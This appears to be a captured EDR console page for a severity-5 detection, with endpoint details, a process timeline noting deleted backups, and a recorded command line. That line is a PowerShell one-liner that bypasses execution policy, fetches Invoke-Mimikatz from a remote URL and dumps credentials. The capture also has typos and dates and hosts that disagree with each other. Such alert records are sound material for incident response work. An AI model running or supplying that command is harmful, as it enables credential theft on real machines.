Detection #8273540

Severity 5 | 2 Cases | Set Classification | Set Context | Actions

Detection Details

A process was identified as a Suspicious Activity. It exists across 1 host and 1 user. In addition, we found 3 related processes and 4 related network connections.

Name	Suspicious Executables
First Detected	Feb 18, 2022 7:28:15 PM
Assigned Time	Feb 18, 2022 7:29:02 PM
Threat ID	8273540
Possible Data	17 business files
Where	5 endpoints
Case Owner	James Patterson
Created By	Auto-Generated

Investigations

106522 Non-Targeted Website Attack

746528 Investigation Name

Endpoint Details

Status	Online
Device	Win10-PRD1-Rakesh
Device OS	Win 10 Enterprise
IP Address	10.55.169.173

TylerLabWin10 172.29.32.1 → Root Cause Google Chrome → Beacon reflectivedlinjectio... → Detected Sep 8, 2022 9:21 AM → Not cleaned Sep 8, 2022 9:21 AM

Filters | Search timeline...

09:32:29 AM	smss.exe "C:\Program Files\Microsoft Office\root\Office16\WINWOR..."	12 Registry, 4 Files, 3 Network
09:32:29 AM	File backups were deleted	
09:32:29 AM	wininit.exe "C:\Program Files\Microsoft Office\root\Office16\WINWORD.exe"	12 Registry, 4 Files
09:32:29 AM	Suspicious Process Discovery	
09:32:29 AM	services.exe "C:\Program Files\Microsoft Office\root\..."	12 Registry, 4 Files, 8 DNS, 3 Network
09:32:29 AM	Suspicious PowerShell command line	
09:32:29 AM	SophosLiveQueryService.exe "C:\Program Files\Microsoft Office\root\..."	8 DNS, 13 Library
09:32:29 AM	cmd.exe "C:\Program Files\Microsoft Office\root\Office16\..."	4 Files, 8 DNS, 3 Network
09:32:29 AM	File backups were deleted	
09:32:29 AM	Anomalous behavior by a common executable	

Command Line

Actions

```
powershell.exe-ExecutionPolicy Bypass -C "EX (New-
ObjectNet.WebClient].DownloadString(https://raw.githubusercontent.com/
PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/E
filtration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz-DumpCreds"
```